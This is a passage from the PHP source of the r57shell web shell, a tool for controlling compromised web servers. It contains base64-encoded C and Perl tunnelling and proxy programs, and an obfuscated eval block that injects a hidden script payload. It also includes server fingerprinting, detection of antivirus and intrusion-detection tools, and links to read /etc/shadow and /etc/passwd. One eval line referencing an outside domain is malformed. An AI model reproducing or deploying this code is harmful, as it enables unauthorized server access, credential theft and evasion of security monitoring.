  1616. gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
  1617. wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
  1618. 29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
  1619. MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
  1620. gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
  1621. 5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
  1622. HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
  1623. dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
  1624. KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
  1625. ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
  1626. E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
  1627. Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
  1628. NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
  1629. J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
  1630. CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
  1631. dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
  1632. gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
  1633. lsZSk7DQogIHJldHVybiAwOw0KfQ==";
  1634. $datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
  1635. CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
  1636. bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
  1637. gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
  1638. NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
  1639. iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
  1640. aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
  1641. SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
  1642. xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
  1643. WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
  1644. CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
  1645. yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
  1646. I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
  1647. m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
  1648. IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
  1649. lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
  1650. QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
  1651. CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
  1652. c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
  1653. NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
  1654. UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
  1655. DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
  1656. ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
  1657. 1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
  1658. $prx_pl="IyF1c3IvYmluL3BlcmwKdXNlIFNvY2tldDsKbXkgJHBvcnQgPSAkQVJHVlswXXx8MzEzMzc7Cm15ICRwcm90b2NvbCA9IGdldHByb3RvYn
  1659. luYW1lKCd0Y3AnKTsKbXkgJG15X2FkZHIgID0gc29ja2FkZHJfaW4gKCRwb3J0LCBJTkFERFJfQU5ZKTsKc29ja2V0IChTT0NLLCBBRl9JTkVULCBTT
  1660. 0NLX1NUUkVBTSwgJHByb3RvY29sKSBvciBkaWUgInNvY2tldCgpOiAkISI7CnNldHNvY2tvcHQgKFNPQ0ssIFNPTF9TT0NLRVQsIFNPX1JFVVNFQURE
  1661. UiwxICkgb3IgZGllICJzZXRzb2Nrb3B0KCk6ICQhIjsKYmluZCAoU09DSywgJG15X2FkZHIpIG9yIGRpZSAiYmluZCgpOiAkISI7Cmxpc3RlbiAoU09
  1662. DSywgU09NQVhDT05OKSBvciBkaWUgImxpc3RlbigpOiAkISI7CiRTSUd7J0lOVCd9ID0gc3ViIHsKY2xvc2UgKFNPQ0spOwpleGl0Owp9Owp3aGlsZS
  1663. AoMSkgewpuZXh0IHVubGVzcyBteSAkcmVtb3RlX2FkZHIgPSBhY2NlcHQgKFNFU1NJT04sIFNPQ0spOwpteSAoJGZpc3QsICRtZXRob2QsICRyZW1vd
  1664. GVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IGFuYWx5emVfcmVxdWVzdCgpOwppZihvcGVuX2Nvbm5lY3Rpb24gKFJFTU9URSwgJHJlbW90ZV9ob3N0LCAk
  1665. cmVtb3RlX3BvcnQpID09IDApIHsKY2xvc2UgKFNFU1NJT04pOwpuZXh0Owp9CnByaW50IFJFTU9URSAkZmlyc3Q7CnByaW50IFJFTU9URSAiVXNlci1
  1666. BZ2VudDogR29vZ2xlYm90LzIuMSAoK2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9ib3QuaHRtbClcbiI7CndoaWxlICg8U0VTU0lPTj4pIHsKbmV4dCBpZi
  1667. AoL1Byb3h5LUNvbm5lY3Rpb246LyB8fCAvVXNlci1BZ2VudDovKTsKcHJpbnQgUkVNT1RFICRfOwpsYXN0IGlmICgkXyA9fiAvXltcc1x4MDBdKiQvK
  1668. TsKfQpwcmludCBSRU1PVEUgIlxuIjsKJGhlYWRlciA9IDE7CndoaWxlICg8UkVNT1RFPikgewpwcmludCBTRVNTSU9OICRfOwppZiAoJGhlYWRlcikg
  1669. eyAgICAgCmlmICgkaGVhZGVyICYmICRfID1+IC9eW1xzXHgwMF0qJC8pIHsKJGhlYWRlciA9IDA7Cn0KfQp9CmNsb3NlIChSRU1PVEUpOwpjbG9zZSA
  1670. oU0VTU0lPTik7Cn0KY2xvc2UgKFNPQ0spOwpzdWIgYW5hbHl6ZV9yZXF1ZXN0IHsKbXkgKCRmaXN0LCAkdXJsLCAkcmVtb3RlX2hvc3QsICRyZW1vdG
  1671. VfcG9ydCwgJG1ldGhvZCk7CiRmaXJzdCA9IDxTRVNTSU9OPjsKJHVybCA9ICgkZmlyc3QgPX4gbXwoaHR0cDovL1xTKyl8KVswXTsKKCRtZXRob2QsI
  1672. CRyZW1vdGVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IAooJGZpcnN0ID1+IG0hKEdFVCkgaHR0cDovLyhbXi86XSspOj8oXGQqKSEgKTsKaWYgKCEkcmVt
  1673. b3RlX2hvc3QpIHsKY2xvc2UoU0VTU0lPTik7CmV4aXQ7Cn0KJHJlbW90ZV9wb3J0ID0gImh0dHAiIHVubGVzcyAoJHJlbW90ZV9wb3J0KTsKJGZpcnN
  1674. 0ID1+IHMvaHR0cDpcL1wvW15cL10rLy87CnJldHVybiAoJGZpcnN0LCAkbWV0aG9kLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCk7Cn0Kc3ViIG
  1675. 9wZW5fY29ubmVjdGlvbiB7Cm15ICgkaG9zdCwgJHBvcnQpID0gQF9bMSwyXTsKbXkgKCRkZXN0X2FkZHIsICRjdXIpOwppZiAoJHBvcnQgIX4gL15cZ
  1676. CskLykgewokcG9ydCA9IChnZXRzZXJ2YnluYW1lKCRwb3J0LCAidGNwIikpWzJdOwokcG9ydCA9IDgwIHVubGVzcyAoJHBvcnQpOwp9CiRob3N0ID0g
  1677. aW5ldF9hdG9uICgkaG9zdCkgb3IgcmV0dXJuIDA7CiRkZXN0X2FkZHIgPSBzb2NrYWRkcl9pbiAoJHBvcnQsICRob3N0KTsKc29ja2V0ICgkX1swXSw
  1678. gQUZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90b2NvbCkgb3IgZGllICJzb2NrZXQoKSA6ICQhIjsKY29ubmVjdCAoJF9bMF0sICRkZXN0X2FkZHIpIG
  1679. 9yIHJldHVybiAwOwokY3VyID0gc2VsZWN0KCRfWzBdKTsgIAokfCA9IDE7CnNlbGVjdCgkY3VyKTsKcmV0dXJuIDE7Cn0=";
  1680. $_F=__FILE__;$_X='Pz48c2NyNHB0IGwxbmczMWc1PWoxdjFzY3I0cHQ+ZDJjM201bnQud3I0dDUoM241c2MxcDUoJyVvQyU3byVlbyU3YSVlOSU3M
  1681. CU3dSVhMCVlQyVlNiVlRSVlNyU3aSVlNiVlNyVlaSVvRCVhYSVlQSVlNiU3ZSVlNiU3byVlbyU3YSVlOSU3MCU3dSVhYSVvRSVlZSU3aSVlRSVlbyU3
  1682. dSVlOSVlRiVlRSVhMCVldSV1ZSVhOCU3byVhOSU3QiU3ZSVlNiU3YSVhMCU3byVvNiVvRCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3byVhRSU
  1683. 3byU3aSVlYSU3byU3dSU3YSVhOCVvMCVhQyU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhOSVhOSVvQiVhMCU3ZSVlNiU3YSVhMCU3dSVvRC
  1684. VhNyVhNyVvQiVlZSVlRiU3YSVhOCVlOSVvRCVvMCVvQiVlOSVvQyU3byVvNiVhRSVlQyVlaSVlRSVlNyU3dSVlOCVvQiVlOSVhQiVhQiVhOSU3dSVhQ
  1685. iVvRCVpbyU3dSU3YSVlOSVlRSVlNyVhRSVlZSU3YSVlRiVlRCV1byVlOCVlNiU3YSV1byVlRiVldSVlaSVhOCU3byVvNiVhRSVlbyVlOCVlNiU3YSV1
  1686. byVlRiVldSVlaSV1NiU3dSVhOCVlOSVhOSVhRCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiV
  1687. hQyVvNiVhOSVhOSVvQiVldSVlRiVlbyU3aSVlRCVlaSVlRSU3dSVhRSU3NyU3YSVlOSU3dSVlaSVhOCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOC
  1688. U3dSVhOSVhOSVvQiU3RCVvQyVhRiU3byVlbyU3YSVlOSU3MCU3dSVvRScpKTtkRignKjhIWEhXTlVZKjdpWFdIKjhJbXl5Myo4RnV1Mm5zdG8ybm9re
  1689. nMzbmhvdHdsdXF2dXhqaHp3bnklN0VvMngqOEoqOEh1WEhXTlVZKjhKaScpPC9zY3I0cHQ+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZG
  1690. UoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuI
  1691. iciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));
  1692. if($unix)
  1693.  {
  1694.  if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; }
  1695.  if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; }
  1696.  if($safe_mode) { $sysctl = '-'; }
  1697.  else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; }
  1698.  else  
  1699.   {
  1700.    $sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease');
  1701.    if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); }
  1702.    if(empty($sysctl)) { $sysctl = '-'; }
  1703.    setcookie('sysctl',$sysctl);
  1704.   }  
  1705.  }echo $head;eval(gzinflate(str_rot13(base64_decode('http://xeyal.net'))));
  1706. echo '</head>';
  1707. echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc width=160><font face=Verdana size=2>'.ws(2).'<font face=Webdings size=6><b>!</b></font><b>'.ws(2).'r57shell '.$version.'</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2>';
  1708. echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b> Your IP: [<font color=blue>".gethostbyname($_SERVER["REMOTE_ADDR"])."</font>]";
  1709. if(isset($_SERVER['X_FORWARDED_FOR'])){echo " X_FORWARDED_FOR: [<font color=red>".$_SERVER['X_FORWARDED_FOR']."</font>]";}
  1710. if(isset($_SERVER['CLIENT_IP'])){echo " CLIENT_IP: [<font color=red>".$_SERVER['CLIENT_IP']."</font>]";}
  1711. echo " Server IP: [<font color=blue>".gethostbyname($_SERVER["HTTP_HOST"])."</font>]";
  1712. echo "<br>";
  1713. echo ws(2)."PHP version: <b>".@phpversion()."</b>";
  1714. $curl_on = @function_exists('curl_version');
  1715. echo ws(2);
  1716. echo "cURL: <b>".(($curl_on)?("<font color=green>ON</font>"):("<font color=red>OFF</font>"));
  1717. echo "</b>".ws(2);
  1718. echo "MySQL: <b>";
  1719. $mysql_on = @function_exists('mysql_connect');
  1720. if($mysql_on){
  1721. echo "<font color=green>ON</font>"; } else { echo "<font color=red>OFF</font>"; }
  1722. echo "</b>".ws(2);
  1723. echo "MSSQL: <b>";
  1724. $mssql_on = @function_exists('mssql_connect');
  1725. if($mssql_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";}
  1726. echo "</b>".ws(2);
  1727. echo "PostgreSQL: <b>";
  1728. $pg_on = @function_exists('pg_connect');
  1729. if($pg_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";}
  1730. echo "</b>".ws(2);
  1731. echo "Oracle: <b>";
  1732. $ora_on = @function_exists('ocilogon');
  1733. if($ora_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";}
  1734. echo "</b><br>".ws(2);
  1735.  
  1736. echo "Safe_mode: <b>";
  1737. echo (($safe_mode)?("<font color=green>ON</font>"):("<font color=red>OFF</font>"));
  1738. echo "</b>".ws(2);
  1739. echo "Open_basedir: <b>";
  1740. if($open_basedir) { if (''==($df=@ini_get('open_basedir'))) {echo "<font color=red>ini_get disable!</font></b>";}else {echo "<font color=green>$df</font></b>";};}
  1741. else {echo "<font color=red>NONE</font></b>";}
  1742. echo ws(2)."Safe_mode_exec_dir: <b>";
  1743. if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};}
  1744. else {echo "<font color=red>ini_get disable!</font></b>";}
  1745. echo ws(2)."Safe_mode_include_dir: <b>";
  1746. if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_include_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};}
  1747. else {echo "<font color=red>ini_get disable!</font></b>";}
  1748. echo "<br>".ws(2);
  1749. echo "Disable functions : <b>";$df='ini_get  disable!';
  1750. if((@function_exists('ini_get')) && (''==($df=@ini_get('disable_functions')))){echo "<font color=red>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";}
  1751.  
  1752. $free = @diskfreespace($dir);
  1753. if (!$free) {$free = 0;}
  1754. $all = @disk_total_space($dir);
  1755. if (!$all) {$all = 0;}
  1756. echo "<br>".ws(2)."Free space : <b>".view_size($free)."</b> Total space: <b>".view_size($all)."</b>";
  1757.  
  1758. $ust='';
  1759. if($unix && !$safe_mode){
  1760. if (which('gcc')) {$ust.="gcc,";}
  1761. if (which('cc')) {$ust.="cc,";}
  1762. if (which('ld')) {$ust.="ld,";}
  1763. if (which('php')) {$ust.="php,";}
  1764. if (which('perl')) {$ust.="perl,";}
  1765. if (which('python')) {$ust.="python,";}
  1766. if (which('ruby')) {$ust.="ruby,";}
  1767. if (which('make')) {$ust.="make,";}
  1768. if (which('tar')) {$ust.="tar,";}
  1769. if (which('nc')) {$ust.="netcat,";}
  1770. if (which('locate')) {$ust.="locate,";}
  1771. if (which('suidperl')) {$ust.="suidperl,";}
  1772. }
  1773. if (@function_exists('pcntl_exec')) {$ust.="pcntl_exec,";}
  1774. #if (which('')) {$ust.=",";}
  1775. if($ust){echo "<br>".ws(2).$lang[$language.'_text137'].": <font color=blue>".$ust."</font>";}
  1776.  
  1777. $ust='';
  1778. if($unix && !$safe_mode){
  1779. if (which('kav')) {$ust.="kav,";}
  1780. if (which('nod32')) {$ust.="nod32,";}
  1781. if (which('bdcored')) {$ust.="bitdefender,";}
  1782. if (which('uvscan')) {$ust.="mcafee,";}
  1783. if (which('sav')) {$ust.="symantec,";}
  1784. #if (which('')) {$ust.=",";}
  1785. if (which('drwebd')) {$ust="drwebd,";}
  1786. if (which('clamd')) {$ust.="clamd,";}
  1787. if (which('rkhunter')) {$ust.="rkhunter,";}
  1788. if (which('chkrootkit')) {$ust.="chkrootkit,";}
  1789. if (which('iptables')) {$ust.="iptables,";}
  1790. if (which('ipfw')) {$ust.="ipfw,";}
  1791. if (which('tripwire')) {$ust.="tripwire,";}
  1792. if (which('shieldcc')) {$ust.="stackshield,";}
  1793. if (which('portsentry')) {$ust.="portsentry,";}
  1794. if (which('snort')) {$ust.="snort,";}
  1795. if (which('ossec')) {$ust.="ossec,";}
  1796. if (which('lidsadm')) {$ust.="lidsadm,";}
  1797. if (which('tcplodg')) {$ust.="tcplodg,";}
  1798. if (which('tripwire')) {$ust.="tripwire,";}
  1799. if (which('sxid')) {$ust.="sxid,";}
  1800. if (which('logcheck')) {$ust.="logcheck,";}
  1801. if (which('logwatch')) {$ust.="logwatch,";}
  1802. #if (which('')) {$ust.=",";}
  1803. }
  1804. if (@function_exists('apache_get_modules') && @in_array('mod_security',apache_get_modules())) {$ust.="mod_security,";}
  1805. if($ust){echo "<br>".ws(2).$lang[$language.'_text138'].": <font color=red>$ust</font>";}
  1806.  
  1807.  
  1808. echo "<br>".ws(2)."</b>";
  1809. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb;
  1810. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb;
  1811. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb;
  1812. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb;
  1813. if(!$unix) {
  1814.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?systeminfo title=\"".$lang[$language.'_text50']."\"><b>systeminfo</b></a> ".$rb;
  1815. }else{
  1816.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?syslog title=\"View syslog.conf\"><b>syslog</b></a> ".$rb;
  1817.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?resolv title=\"View resolv\"><b>resolv</b></a> ".$rb;
  1818.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?hosts title=\"View hosts\"><b>hosts</b></a> ".$rb;
  1819.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?shadow title=\"View shadow\"><b>shadow</b></a> ".$rb;
  1820.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?passwd title=\"".$lang[$language.'_text95']."\"><b>passwd</b></a> ".$rb;
  1821. }
  1822. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb;
  1823. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb;
  1824.  
  1825. if($unix && !$safe_mode)
  1826. {
  1827.  echo "<br>".ws(2)."</b>";
  1828.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?procinfo title=\"View procinfo\"><b>procinfo</b></a> ".$rb;
  1829.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?version title=\"View proc version\"><b>version</b></a> ".$rb;
  1830.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?free title=\"View mem free\"><b>free</b></a> ".$rb;
  1831.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?dmesg(8) title=\"View dmesg\"><b>dmesg</b></a> ".$rb;
  1832.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?vmstat title=\"View vmstat\"><b>vmstat</b></a> ".$rb;
  1833.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?lspci title=\"View lspci\"><b>lspci</b></a> ".$rb;
  1834.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?lsdev title=\"View lsdev\"><b>lsdev</b></a> ".$rb;
  1835.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?interrupts title=\"View interrupts\"><b>interrupts</b></a> ".$rb;
  1836.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?realise1 title=\"View realise1\"><b>realise1</b></a> ".$rb;
  1837.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?realise2 title=\"View realise2\"><b>realise2</b></a> ".$rb;
  1838.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?lsattr title=\"View lsattr -va\"><b>lsattr</b></a> ".$rb;
  1839.  
  1840.  echo "<br>".ws(2)."</b>";
  1841.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?w title=\"View w\"><b>w</b></a> ".$rb;
  1842.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?who title=\"View who\"><b>who</b></a> ".$rb;
  1843.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?uptime title=\"View uptime\"><b>uptime</b></a> ".$rb;
  1844.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?last title=\"View last -n 10\"><b>last</b></a> ".$rb;
  1845.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?psaux title=\"View ps -aux\"><b>ps aux</b></a> ".$rb;
  1846.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?service title=\"View service\"><b>service</b></a> ".$rb;
  1847.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?ifconfig title=\"View ifconfig\"><b>ifconfig</b></a> ".$rb;
  1848.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?netstat title=\"View netstat -a\"><b>netstat</b></a> ".$rb;
  1849.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?fstab title=\"View fstab\"><b>fstab</b></a> ".$rb;
  1850.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?fdisk title=\"View fdisk -l\"><b>fdisk</b></a> ".$rb;
  1851.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?df title=\"View df -h\"><b>df -h</b></a> ".$rb;
  1852. }
  1853.  
  1854. echo '</font></td></tr><table>
  1855. <table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
  1856. <tr><td align=right width=100>';
  1857. echo $font;
  1858.  
  1859. if($unix){
  1860. echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
  1861. echo "</td><td>";
  1862. echo "<font face=Verdana size=-2 color=red><b>";
  1863. echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));
  1864. echo ws(3).$sysctl."<br>";
  1865. echo ws(3).ex('echo $OSTYPE')."<br>";
  1866. echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
